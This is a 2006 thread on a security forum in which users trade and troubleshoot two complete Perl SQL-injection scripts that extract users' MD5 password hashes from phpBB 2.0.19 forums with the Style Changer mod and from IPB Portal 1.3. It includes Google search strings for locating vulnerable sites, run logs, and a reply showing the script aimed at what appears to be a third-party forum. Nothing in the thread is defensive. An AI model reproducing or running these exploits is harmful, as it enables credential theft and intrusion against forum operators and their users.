 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete? |
 |
 Posted: Mon Feb 06, 2006 1:02 pm |
 |
|
| eclipse |
| Regular user |
 |
|
| Joined: Feb 06, 2006 |
| Posts: 5 |
|
|
|
 |
|
 |
|
is the code of this following exploit here not complete or just not working?
cause i have tried it on my own forum, which is a phpbb 2.0.19 forum.
here's my current perl log:
| Code: | C:\>c:\perl\bin\perl.exe c:\perl\bin\bbstyle.pl www.mysite.com /phpbb2/ 2
[+]Make Connection
[+]Connected |
usualy it should show you the userid and md5 hash in the dos windows.
like at example:
| Code: | C:\>c:\perl\bin\perl.exe c:\perl\bin\bbstyle.pl www.mysite.com /phpbb2/ 2
[+]Connecting...
[+]Connected
[+]User ID: 2
[+]MD5 Hash: 5e027396789a18c37aeda616e3d7991b |
here's the exploit code that i have tried:
| Code: | #!/usr/bin/perl
#########################################################
# _______ _______ ______ #
# |______ |______ | \ #
# ______| |______ |_____/ #
# #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT #
#Created By SkOd #
#SED security Team #
#http://www.sed-team.be #
#skod.uk@gmail.com #
#ISRAEL #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
# phpBB Style Changer\Viewer MOD SQL injection Exploit #
# Tested on phpBB 2.0.19 #
# created By SkOd. SED Security Team #
############################################################
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}
# milw0rm.com [2006-02-05] |
and here is the pendant for invision power board 1.3 forums:
| Code: | #!/usr/bin/perl
###########################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#"Portal 1.3 by Dragoran"
###########################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
# IPB Portal 1.3 SQL injection Get Hash Exploit #
# Tested on Invision Power Board 1.3.0 #
# created By SkOd. SED Security Team #
############################################################
ipbpro.pl [HOST] [PATH] [Target id]
ipbpro.pl www.host.com /forum/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}
# milw0rm.com [2006-01-31] |
can anyone help me and tell me, if the phpbb 2.0.19 exploit is missing some code or why the exploit doesnt work? and how can we fix the code, so the exploit works. |
|
|
|
|
|
|
|
|
| Posted: Mon Feb 06, 2006 8:45 pm |
|
|
| UK_Secured |
| Regular user |
|
|
| Joined: Feb 06, 2006 |
| Posts: 23 |
|
|
|
|
|
|
|
all tested and working like a charm  |
|
|
|
|
| Posted: Tue Feb 07, 2006 12:01 am |
|
|
| syntax9 |
| Active user |
 |
|
| Joined: Dec 21, 2005 |
| Posts: 33 |
|
|
|
|
|
|
|
| doesnt work for me on any forums i have tried. |
|
|
|
|
| Posted: Tue Feb 07, 2006 12:19 am |
|
|
| syntax9 |
| Active user |
|
|
| Joined: Dec 21, 2005 |
| Posts: 33 |
|
|
|
|
|
|
|
| Quote: | | phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT |
is why, didnt read the comment. |
|
|
|
|
| Posted: Tue Feb 07, 2006 6:40 am |
|
|
| eclipse |
| Regular user |
|
|
| Joined: Feb 06, 2006 |
| Posts: 5 |
|
|
|
|
|
|
|
| syntax9 wrote: | | Quote: | | phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT |
is why, didnt read the comment. |
demo mod? this "exploit" isn't fully working, it is considere as a demo mod? and i thought demo mod is only the name of the "exploit". daaaammmmmmmmmmmmmmmmmmmmmmmmmmmmmmm  |
|
|
|
|
| Posted: Tue Feb 07, 2006 10:07 am |
|
|
| UK_Secured |
| Regular user |
|
|
| Joined: Feb 06, 2006 |
| Posts: 23 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Tue Feb 07, 2006 12:12 pm |
|
|
| eclipse |
| Regular user |
|
|
| Joined: Feb 06, 2006 |
| Posts: 5 |
|
|
|
|
|
|
|
Thanks UK_Secured, i think my error was i have tried the exploit on the wrong sites, aka wrong phpbb version.
dont worry, i didn't changed anything on the website.
Sk0d said it already, you have to find a phpbb site that has "index.php?s" OR "index.php?style"
but the exploit still doesnt work for every phpbb 2.0.19 forum that should have the mimimum requirements. |
|
|
|
|
| Posted: Tue Feb 07, 2006 12:35 pm |
|
|
| UK_Secured |
| Regular user |
|
|
| Joined: Feb 06, 2006 |
| Posts: 23 |
|
|
|
|
|
|
|
| Quote: | google:
"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style" |
it's mentioned in the exploit code  |
|
|
|
|
| Posted: Wed Feb 08, 2006 12:39 pm |
|
|
| SkOd |
| Beginner |
|
|
| Joined: Feb 08, 2006 |
| Posts: 1 |
| Location: IL |
|
|
|
|
|
|
All my sploits you can found here: =]
http://sed-team.be
if some one have problem PM me...  |
|
|
|
|
| Posted: Wed Feb 08, 2006 4:38 pm |
|
|
| eclipse |
| Regular user |
|
|
| Joined: Feb 06, 2006 |
| Posts: 5 |
|
|
|
|
|
|
|
| SkOd wrote: | All my sploits you can found here: =]
http://sed-team.be
if some one have problem PM me... |
Check your PM Sk0d.  |
|
|
|
|
| Posted: Fri Mar 10, 2006 10:38 am |
|
|
| lookatmenow |
| Regular user |
|
|
| Joined: Feb 24, 2006 |
| Posts: 21 |
|
|
|
|
|
|
|
i get the same problem, stops at [+]connected...
although if there's one thing to learn from running a script, if it doesn't work...it's something 'you' are doing wrong.
so the forum is either not vulnerable or you've typed something wrong etc. |
|
|
|
|
| Posted: Fri Mar 10, 2006 9:30 pm |
|
|
| greatshape |
| Beginner |
|
|
| Joined: Mar 10, 2006 |
| Posts: 4 |
|
|
|
|
|
|
|
| lookatmenow wrote: | i get the same problem, stops at [+]connected...
although if there's one thing to learn from running a script, if it doesn't work...it's something 'you' are doing wrong.
so the forum is either not vulnerable or you've typed something wrong etc. |
Same here, connected and finish... 
| Code: |
someone@Linux:~$ ./bbstyle.pl www.extremepixels.net /phpbb/ 2
[+]Make Connection
[+]Connected
someone@Linux:~$
|
All help is appreciated, tnx |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 93
Members: 0
Total: 93
